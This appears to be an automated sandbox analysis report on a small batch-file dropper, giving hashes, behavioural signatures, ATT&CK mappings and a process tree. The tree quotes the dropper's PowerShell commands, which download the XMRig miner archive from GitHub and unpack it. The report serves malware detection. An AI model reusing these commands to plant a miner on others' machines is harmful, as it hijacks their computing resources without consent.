c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1559s
max time network
1560s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 21:06

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General

Target

4.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2908	powershell.exe
6	2908	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2908	powershell.exe
2572	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2908	powershell.exe
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 2908	2324	cmd.exe	29
PID 2324 wrote to memory of 2908	2324	cmd.exe	29
PID 2324 wrote to memory of 2908	2324	cmd.exe	29
PID 2324 wrote to memory of 2572	2324	cmd.exe	30
PID 2324 wrote to memory of 2572	2324	cmd.exe	30
PID 2324 wrote to memory of 2572	2324	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
24c8ed79a5ed7391708a3bea0872a898

SHA1
81d7c9c02d509f4b74cbeee6b6809fb1ce5ea4c0

SHA256
154e5ef33b85bac0609700dd8186d3eea9ab93ef72c8f8de0803de88e206cb20

SHA512
831a567fd716691197dab51048b03a9974e012a20ded6cb7884feb3f16ae5be651247b900a38a0dd0f1dcc23d4e3437ec10ecbfee7c606c757d60110789a9110

Download Submit
memory/2572-18-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2572-19-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2908-4-0x000007FEF5F4E000-0x000007FEF5F4F000-memory.dmp

Filesize
4KB

Download
memory/2908-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2908-7-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-8-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2908-10-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-9-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-11-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-12-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

Filesize
9.6MB

Download